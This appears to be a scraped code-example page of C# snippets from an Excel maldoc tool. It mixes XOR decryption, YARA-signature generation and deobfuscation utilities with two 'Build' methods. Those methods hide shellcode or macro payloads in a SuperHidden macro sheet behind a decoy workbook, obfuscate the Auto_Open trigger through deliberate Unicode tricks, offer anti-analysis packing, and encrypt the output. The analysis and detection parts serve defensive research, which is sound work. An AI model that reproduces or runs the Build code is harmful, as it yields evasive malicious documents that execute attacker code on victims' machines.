예제 #1
0
        public void GenerateVelvetSweatshopMacroSheetSigs()
        {
            XorObfuscation xorObfuscation = new XorObfuscation();

            BoundSheet8 sheetVersion1 = new BoundSheet8(BoundSheet8.HiddenState.Visible, BoundSheet8.SheetType.Macrosheet, "Sheet");
            BoundSheet8 sheetVersion2 = new BoundSheet8(BoundSheet8.HiddenState.Hidden, BoundSheet8.SheetType.Macrosheet, "Sheet1");
            BoundSheet8 sheetVersion3 = new BoundSheet8(BoundSheet8.HiddenState.VeryHidden, BoundSheet8.SheetType.Macrosheet, "Sheet2");

            BoundSheet8[] sheets = new[] { sheetVersion1, sheetVersion2, sheetVersion3 };

            int hiddenState = 0;

            foreach (BoundSheet8 currentSheet in sheets)
            {
                for (int offset = 0; offset < 16; offset += 1)
                {
                    byte[] header        = currentSheet.GetBytes().Take(4).ToArray();
                    byte[] data          = currentSheet.GetBytes().Skip(4).ToArray();
                    byte[] encryptedData = xorObfuscation.EncryptData_Method1(XorObfuscation.DefaultPassword, data, (byte)offset);

                    string ruleName = string.Format("$boundsheet8_hs{0}_vs_xor_offset{1}", hiddenState, offset);

                    string yaraSig = ruleName + " = { ";
                    yaraSig += BitConverter.ToString(header.Take(2).ToArray()).Replace("-", " ");
                    yaraSig += " [6] ";
                    yaraSig += BitConverter.ToString(encryptedData.Skip(4).Take(2).ToArray()).Replace("-", " ");
                    yaraSig += " }";
                    Console.WriteLine(yaraSig);
                }

                hiddenState += 1;
            }
        }
예제 #2
0
        public void TestPasswordXorKeyDerivation()
        {
            XorObfuscation xorObfuscation = new XorObfuscation();

            ushort key = xorObfuscation.CreateXorKey_Method1(XorObfuscation.DefaultPassword);

            //key bytes = 0xB359
            Assert.AreEqual(0xB359, key);
        }
예제 #3
0
        public void TestPasswordVerifier()
        {
            XorObfuscation xorObfuscation = new XorObfuscation();

            ushort result = xorObfuscation.CreatePasswordVerifier_Method1(XorObfuscation.DefaultPassword);

            //verification bytes = 0x9A0A
            Assert.AreEqual(0x9A0A, result);
        }
예제 #4
0
        public void TestSaveEncryptedDocstream()
        {
            WorkbookStream obfuscatedStream = TestHelpers.GetXorObfuscatedWorkbookStream();
            ExcelDocWriter writer           = new ExcelDocWriter();

            XorObfuscation xorObfuscation     = new XorObfuscation();
            WorkbookStream deobfuscatedStream = xorObfuscation.DecryptWorkbookStream(obfuscatedStream);
            WorkbookStream reObfuscatedStream = xorObfuscation.EncryptWorkbookStream(deobfuscatedStream);

            writer.WriteDocument("C:\\Users\\Weber\\source\\repos\\michaelweber\\Macrome\\bin\\Debug\\netcoreapp2.0\\test-encrypted2.xls", reObfuscatedStream);
        }
예제 #5
0
        /// <summary>
        /// Dumps information about BIFF records that are relevant for analysis. Defaults to sheet, label, and formula data.
        /// </summary>
        /// <param name="path">Path to the XLS file to dump</param>
        /// <param name="dumpAll">Dump all BIFF records, not the most commonly used by maldocs</param>
        /// <param name="showAttrInfo">Explicitly display PtgAttr information in Formula strings. Defaults to False.</param>
        /// <param name="dumpHexBytes">Dump the byte content of each BIFF record in addition to its content summary.</param>
        /// <param name="password">XOR Obfuscation decryption password to try. Defaults to VelvetSweatshop if FilePass record is found.</param>
        /// <param name="disableDecryption">Use this flag in order to skip decryption of the file before dumping.</param>
        public static void Dump(FileInfo path, bool dumpAll = false, bool showAttrInfo = false, bool dumpHexBytes = false, string password = "******", bool disableDecryption = false)
        {
            if (path == null)
            {
                Console.WriteLine("path argument must be specified in Dump mode. Run dump -h for usage instructions.");
                return;
            }

            if (path.Exists == false)
            {
                Console.WriteLine("path file does not exist.");
                return;
            }

            WorkbookStream wbs = new WorkbookStream(path.FullName);

            if (wbs.HasPasswordToOpen() && !disableDecryption)
            {
                Console.WriteLine("FilePass record found - attempting to decrypt with password " + password);
                XorObfuscation xorObfuscation = new XorObfuscation();
                try
                {
                    wbs = xorObfuscation.DecryptWorkbookStream(wbs, password);
                }
                catch (ArgumentException argEx)
                {
                    Console.WriteLine("Password " + password + " does not match the verifier value of the document FilePass. Try a different password.");
                    return;
                }
            }

            int numBytesToDump = 0;

            if (dumpHexBytes)
            {
                numBytesToDump = 0x1000;
            }

            if (dumpAll)
            {
                List <BiffRecord> records;
                WorkbookStream    fullStream = new WorkbookStream(PtgHelper.UpdateGlobalsStreamReferences(wbs.Records));
                records = fullStream.Records;
                foreach (var record in records)
                {
                    Console.WriteLine(record.ToHexDumpString(numBytesToDump, showAttrInfo));
                }
            }
            else
            {
                string dumpString = RecordHelper.GetRelevantRecordDumpString(wbs, dumpHexBytes, showAttrInfo);
                Console.WriteLine(dumpString);
            }
        }
예제 #6
0
        /// <summary>
        /// Deobfuscate a legacy XLS document to enable simpler analysis.
        /// </summary>
        /// <param name="path">Path to the XLS file to deobfuscate</param>
        /// <param name="neuterFile">Flag to insert a HALT() expression into all Auto_Open start locations. NOT IMPLEMENTED</param>
        /// <param name="password">XOR Obfuscation decryption password to try. Defaults to VelvetSweatshop if FilePass record is found.</param>
        /// <param name="outputFileName">The output filename used for the generated document. Defaults to deobfuscated.xls</param>
        public static void Deobfuscate(FileInfo path, bool neuterFile = false, string password = "******", string outputFileName = "deobfuscated.xls")
        {
            if (path == null)
            {
                Console.WriteLine("path argument must be specified in Deobfuscate mode. Run deobfuscate -h for usage instructions.");
                return;
            }

            if (path.Exists == false)
            {
                Console.WriteLine("path file does not exist.");
                return;
            }

            if (neuterFile)
            {
                throw new NotImplementedException("XLS Neutering Not Implemented Yet");
            }

            WorkbookStream wbs = new WorkbookStream(path.FullName);

            if (wbs.HasPasswordToOpen())
            {
                Console.WriteLine("FilePass record found - attempting to decrypt with password " + password);
                XorObfuscation xorObfuscation = new XorObfuscation();
                try
                {
                    wbs = xorObfuscation.DecryptWorkbookStream(wbs, password);
                }
                catch (ArgumentException argEx)
                {
                    Console.WriteLine("Password " + password + " does not match the verifier value of the document FilePass. Try a different password.");
                    return;
                }
            }

            WorkbookEditor wbEditor = new WorkbookEditor(wbs);

            wbEditor.NormalizeAutoOpenLabels();
            wbEditor.UnhideSheets();

            ExcelDocWriter writer     = new ExcelDocWriter();
            string         outputPath = Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar + outputFileName;

            Console.WriteLine("Writing deobfuscated document to {0}", outputPath);

            writer.WriteDocument(outputPath, wbEditor.WbStream);
        }
예제 #7
0
        public void TestEncryptDoc()
        {
            WorkbookStream obfuscatedStream   = TestHelpers.GetXorObfuscatedWorkbookStream();
            XorObfuscation xorObfuscation     = new XorObfuscation();
            WorkbookStream deobfuscatedStream = xorObfuscation.DecryptWorkbookStream(obfuscatedStream);
            WorkbookStream reObfuscatedStream = xorObfuscation.EncryptWorkbookStream(deobfuscatedStream);

            foreach (var record in reObfuscatedStream.Records)
            {
                Console.WriteLine(record.ToHexDumpString(0x1000, false));
            }

            CodePage originalCpRecord = obfuscatedStream.GetAllRecordsByType <CodePage>().First();
            CodePage newCpRecord      = reObfuscatedStream.GetAllRecordsByType <CodePage>().First();

            Assert.AreEqual(originalCpRecord.cv, newCpRecord.cv);
        }
예제 #8
0
        public void GenerateFilePassBytesForPasswords()
        {
            XorObfuscation xorObfuscation = new XorObfuscation();

            byte[] xorArray  = xorObfuscation.CreateXorArray_Method1(XorObfuscation.DefaultPassword);
            string xorString = BitConverter.ToString(xorArray).Replace("-", " ");

            Console.WriteLine(xorString);

            string[] passwords = new[] { "000", "111", "222", "333", "444", "555", "5 5 5", "666", "777", "7 7 7", "888", "999", "123", "321", "987", "876", "543", "321", "135", "246", "357", "468", "579", "1234", "2020", "2021", "password", "password1", "infected", "infected2" };
            foreach (var password in passwords)
            {
                Console.WriteLine(string.Format("FilePass Bytes for {0}", password));
                FilePass fp = xorObfuscation.CreateFilePassFromPassword(password);
                Console.WriteLine(fp.ToHexDumpString(16, false, true));
            }
        }
예제 #9
0
        public void TestXorEncryptionDecryption()
        {
            XorObfuscation xorObfuscation = new XorObfuscation();

            byte[] plaintextBytes = new byte[] { 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 };

            byte[] encryptedBytes =
                xorObfuscation.EncryptData_Method1(XorObfuscation.DefaultPassword, plaintextBytes, 0);

            byte[] decryptedBytes =
                xorObfuscation.DecryptData_Method1(XorObfuscation.DefaultPassword, encryptedBytes, 0);

            for (int i = 0; i < plaintextBytes.Length; i += 1)
            {
                Assert.AreNotEqual(plaintextBytes[i], encryptedBytes[i]);
                Assert.AreEqual(plaintextBytes[i], decryptedBytes[i]);
            }
        }
예제 #10
0
        public void TestDecryptObfuscatedDoc()
        {
            WorkbookStream obfuscatedStream   = TestHelpers.GetXorObfuscatedWorkbookStream();
            XorObfuscation xorObfuscation     = new XorObfuscation();
            WorkbookStream deobfuscatedStream = xorObfuscation.DecryptWorkbookStream(obfuscatedStream);

            foreach (var record in deobfuscatedStream.Records)
            {
                Console.WriteLine(record.ToHexDumpString(0x1000, false));
            }

            List <Lbl> AutoOpenLabels = deobfuscatedStream.GetAutoOpenLabels();

            Assert.AreEqual(1, AutoOpenLabels.Count);

            List <FilePass> filePassRecords = deobfuscatedStream.GetAllRecordsByType <FilePass>();

            Assert.AreEqual(0, filePassRecords.Count);
        }
예제 #11
0
        public void TestXorEncryptionDecryption2()
        {
            XorObfuscation xorObfuscation = new XorObfuscation();

            byte[] mmsBytes      = new byte[] { 0x00, 0x00, 0xB0, 0x04 };
            byte   mmsByteOffset = 6;

            byte[] encryptedBytes =
                xorObfuscation.EncryptData_Method1(XorObfuscation.DefaultPassword, mmsBytes, mmsByteOffset);

            byte[] decryptedBytes =
                xorObfuscation.DecryptData_Method1(XorObfuscation.DefaultPassword, encryptedBytes, mmsByteOffset);

            for (int i = 0; i < mmsBytes.Length; i += 1)
            {
                Assert.AreNotEqual(mmsBytes[i], encryptedBytes[i]);
                Assert.AreEqual(mmsBytes[i], decryptedBytes[i]);
            }
        }
예제 #12
0
        /// <summary>
        /// Dumps information about BIFF records that are relevant for analysis. Defaults to sheet, label, and formula data.
        /// </summary>
        /// <param name="path">Path to the XLS file to dump</param>
        /// <param name="dumpAll">Dump all BIFF records, not the most commonly used by maldocs</param>
        /// <param name="showAttrInfo">Explicitly display PtgAttr information in Formula strings. Defaults to False.</param>
        /// <param name="dumpHexBytes">Dump the byte content of each BIFF record in addition to its content summary.</param>
        /// <param name="password">XOR Obfuscation decryption password to try. Defaults to VelvetSweatshop if FilePass record is found.</param>
        /// <param name="disableDecryption">Use this flag in order to skip decryption of the file before dumping.</param>
        public static void Dump(FileInfo path, bool dumpAll = false, bool showAttrInfo = false, bool dumpHexBytes = false, string password = "******", bool disableDecryption = false)
        {
            if (path == null)
            {
                Console.WriteLine("path argument must be specified in Dump mode. Run dump -h for usage instructions.");
                return;
            }

            if (path.Exists == false)
            {
                Console.WriteLine("path file does not exist.");
                return;
            }

            WorkbookStream wbs = new WorkbookStream(path.FullName);

            if (wbs.HasPasswordToOpen() && !disableDecryption)
            {
                FilePass fpRecord = wbs.GetAllRecordsByType <FilePass>().First();

                if (fpRecord.wEncryptionType == 0 && fpRecord.xorObfuscationKey != 0)
                {
                    XorObfuscation xorObfuscation = new XorObfuscation();
                    Console.WriteLine("FilePass record found - attempting to decrypt with password " + password);
                    try
                    {
                        wbs = xorObfuscation.DecryptWorkbookStream(wbs, password);
                    }
                    catch (ArgumentException argEx)
                    {
                        Console.WriteLine("Password " + password + " does not match the verifier value of the document FilePass. Try a different password.");
                        return;
                    }
                }
                else if (fpRecord.wEncryptionType == 1 && fpRecord.vMajor > 1)
                {
                    Console.WriteLine("FilePass record for CryptoAPI Found - Currently Unsupported.");
                    string verifierSalt = BitConverter.ToString(fpRecord.encryptionVerifier.Salt).Replace("-", "");
                    string verifier     = BitConverter.ToString(fpRecord.encryptionVerifier.EncryptedVerifier).Replace("-", "");
                    string verifierHash = BitConverter.ToString(fpRecord.encryptionVerifier.EncryptedVerifierHash).Replace("-", "");
                    Console.WriteLine("Salt is: " + verifierSalt);
                    Console.WriteLine("Vrfy is: " + verifier);
                    Console.WriteLine("vHsh is: " + verifierHash);
                    Console.WriteLine("Algo is: " + string.Format("{0:x8}", fpRecord.encryptionHeader.AlgID));
                }

                else if (fpRecord.wEncryptionType == 1 && fpRecord.vMajor == 1)
                {
                    Console.WriteLine("FilePass record for RC4 Binary Document Encryption Found - Currently Unsupported.");
                }
            }

            int numBytesToDump = 0;

            if (dumpHexBytes)
            {
                numBytesToDump = 0x1000;
            }

            if (dumpAll)
            {
                List <BiffRecord> records;
                WorkbookStream    fullStream = new WorkbookStream(PtgHelper.UpdateGlobalsStreamReferences(wbs.Records));
                records = fullStream.Records;
                foreach (var record in records)
                {
                    Console.WriteLine(record.ToHexDumpString(numBytesToDump, showAttrInfo));
                }
            }
            else
            {
                string dumpString = RecordHelper.GetRelevantRecordDumpString(wbs, dumpHexBytes, showAttrInfo);
                Console.WriteLine(dumpString);
            }
        }
예제 #13
0
        /// <summary>
        /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
        /// </summary>
        /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
        /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
        /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
        /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
        /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
        /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
        /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
        /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
        /// <param name="password">Password to encrypt document using XOR Obfuscation.</param>
        /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
        public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
                                 PayloadType payloadType   = PayloadType.Shellcode,
                                 string macroSheetName     = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
                                 SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, string password = "")
        {
            if (decoyDocument == null || payload == null)
            {
                Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
                return;
            }

            //Useful for remote debugging
            if (debugMode)
            {
                Console.WriteLine("Waiting for debugger to attach");
                while (!Debugger.IsAttached)
                {
                    Thread.Sleep(100);
                }
                Console.WriteLine("Debugger attached");
            }

            List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();


            string decoyDocPath = decoyDocument.FullName;

            WorkbookStream wbs          = LoadDecoyDocument(decoyDocPath);
            List <string>  preambleCode = new List <string>();

            if (preamble != null)
            {
                string preambleCodePath = new FileInfo(preamble).FullName;
                preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
            }

            if (wbs.GetAllRecordsByType <SupBook>().Count > 0)
            {
                throw new NotImplementedException("Please use a decoy document with no existing Labels.");
            }

            WorkbookEditor wbe = new WorkbookEditor(wbs);

            wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);

            List <string> macros = null;

            byte[] binaryPayload   = null;
            byte[] binary64Payload = null;

            //TODO make this customizable
            int rwStart     = 0;
            int colStart    = 0xA0;
            int dstRwStart  = 0;
            int dstColStart = 0;

            int curRw  = rwStart;
            int curCol = colStart;

            switch (payloadType)
            {
            case PayloadType.Shellcode:
                macros        = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
                binaryPayload = File.ReadAllBytes(payload.FullName);

                if (payload64Bit != null && payload64Bit.Exists)
                {
                    binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
                }

                break;

            case PayloadType.Macro:
                macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
                break;

            default:
                throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
                                            "payloadType");
            }


            if (binaryPayload != null && binaryPayload.Length > 0)
            {
                wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                if (rwStart > 0xE000)
                {
                    curRw   = 0;
                    curCol += 1;
                }

                if (binary64Payload != null && binary64Payload.Length > 0)
                {
                    wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
                    curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                    if (rwStart > 0xE000)
                    {
                        curRw   = 0;
                        curCol += 1;
                    }

                    macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
                }
            }
            wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);

            if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;
                wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);

                //Abuse a few comparison "features" in Excel
                //1. Null bytes are ignored at the beginning and start of a label.
                //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
                //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
                //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
                wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
                //Using lblIndex 2, since that what var has set for us
                wbe.AddFormula(
                    FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2));
            }

            wbe.AddLabel("Auto_Open", rwStart, colStart);

            wbe.ObfuscateAutoOpen();

            WorkbookStream createdWorkbook = wbe.WbStream;

            if (!string.IsNullOrEmpty(password))
            {
                Console.WriteLine("Encrypting Document with Password " + password);
                XorObfuscation xorObfuscation = new XorObfuscation();
                createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password);
                // createdWorkbook = createdWorkbook.FixBoundSheetOffsets();
            }

            ExcelDocWriter writer     = new ExcelDocWriter();
            string         outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;

            Console.WriteLine("Writing generated document to {0}", outputPath);
            writer.WriteDocument(outputPath, createdWorkbook);
        }
예제 #14
0
        /// <summary>
        /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
        /// </summary>
        /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
        /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
        /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
        /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
        /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
        /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
        /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
        /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
        /// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the Base64 for encoding.</param>
        /// <param name="password">Password to encrypt document using XOR Obfuscation.</param>
        /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
        /// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param>
        /// <param name="noLabelObfuscation">Use this flag to disable Unicode obfuscation of the Auto_Open label. Recommended for when targeting a non-windows OS, or if a non-US version of Excel isn't triggering the event</param>
        public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
                                 PayloadType payloadType   = PayloadType.Shellcode,
                                 string macroSheetName     = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
                                 SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.Base64,
                                 string password           = "", string localizedLabel = "Auto_Open", bool noLabelObfuscation = false)
        {
            if (decoyDocument == null || payload == null)
            {
                Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
                return;
            }

            //Useful for remote debugging
            if (debugMode)
            {
                Console.WriteLine("Waiting for debugger to attach");
                while (!Debugger.IsAttached)
                {
                    Thread.Sleep(100);
                }
                Console.WriteLine("Debugger attached");
            }

            List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();


            string decoyDocPath = decoyDocument.FullName;

            WorkbookStream wbs        = LoadDecoyDocument(decoyDocPath);
            List <string>  sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList();
            VBAInfo        vbaInfo    = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames);

            List <string> preambleCode = new List <string>();

            if (preamble != null)
            {
                string preambleCodePath = new FileInfo(preamble).FullName;
                preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
            }

            WorkbookEditor wbe = new WorkbookEditor(wbs);

            wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);

            List <string> macros = null;

            byte[] binaryPayload   = null;
            byte[] binary64Payload = null;

            //TODO make this customizable
            int rwStart     = 0;
            int colStart    = 0xA0;
            int dstRwStart  = 0;
            int dstColStart = 0;

            int curRw  = rwStart;
            int curCol = colStart;

            switch (payloadType)
            {
            case PayloadType.Shellcode:
                macros        = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
                binaryPayload = File.ReadAllBytes(payload.FullName);

                if (payload64Bit != null && payload64Bit.Exists)
                {
                    binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
                }

                break;

            case PayloadType.Macro:
                macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
                //Prepend the preamble to the imported pattern
                macros = preambleCode.Concat(macros).ToList();
                break;

            default:
                throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
                                            "payloadType");
            }


            if (binaryPayload != null && binaryPayload.Length > 0)
            {
                if (payloadMethod == PayloadPackingMethod.Base64)
                {
                    wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod);
                }
                else
                {
                    wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
                }

                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                if (rwStart > 0xE000)
                {
                    curRw   = 0;
                    curCol += 1;
                }

                if (binary64Payload != null && binary64Payload.Length > 0)
                {
                    if (payloadMethod == PayloadPackingMethod.Base64)
                    {
                        wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod);
                    }
                    else
                    {
                        wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
                    }

                    curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                    if (rwStart > 0xE000)
                    {
                        curRw   = 0;
                        curCol += 1;
                    }

                    macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
                }

                if (payloadMethod == PayloadPackingMethod.Base64)
                {
                    macros = MacroPatterns.GetBase64DecodePattern(preambleCode);
                }
            }

            wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);

            // Initialize the Global Stream records like SupBook + ExternSheet
            wbe.InitializeGlobalStreamLabels();

            if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;
                wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);

                //Abuse a few comparison "features" in Excel
                //1. Null bytes are ignored at the beginning and start of a label.
                //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
                //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
                //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
                wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
                //Using lblIndex 2, since that what var has set for us
                wbe.AddFormula(
                    FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod);
            }
            else if (method == SheetPackingMethod.ArgumentSubroutines)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;

                ushort formInvocationRw  = 0xefff;
                ushort formInvocationCol = 0x9e;

                ushort evalFormInvocationRw  = 0xefff;
                ushort evalFormInvocationCol = 0x9d;

                //Lbl1
                wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false);
                //Lbl2
                wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false);

                //Lbl3
                wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true);
                //Lbl4
                wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true);
                //Lbl5
                wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true);

                //Lbl6
                wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false);
                //Lbl7
                wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true);


                List <Formula> charFunctionFormulas =
                    FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3,
                                                                   UnicodeHelper.CharFuncArgument1Label);
                foreach (var f in charFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }

                List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes(
                    formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label,
                    UnicodeHelper.FormulaFuncArgument2Label, 4, 5);
                foreach (var f in formulaFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }

                List <Formula> formulaEvalFunctionFormulas =
                    FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes(
                        evalFormInvocationRw, evalFormInvocationCol,
                        UnicodeHelper.FormulaEvalArgument1Label, 7);
                foreach (var f in formulaEvalFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }
            }

            wbe.AddLabel(localizedLabel, rwStart, colStart);

            if (!noLabelObfuscation)
            {
                wbe.ObfuscateAutoOpen(localizedLabel);
            }

            WorkbookStream createdWorkbook = wbe.WbStream;

            if (!string.IsNullOrEmpty(password))
            {
                Console.WriteLine("Encrypting Document with Password " + password);
                XorObfuscation xorObfuscation = new XorObfuscation();
                createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password);
            }

            ExcelDocWriter writer     = new ExcelDocWriter();
            string         outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;

            Console.WriteLine("Writing generated document to {0}", outputPath);
            writer.WriteDocument(outputPath, createdWorkbook, vbaInfo);
        }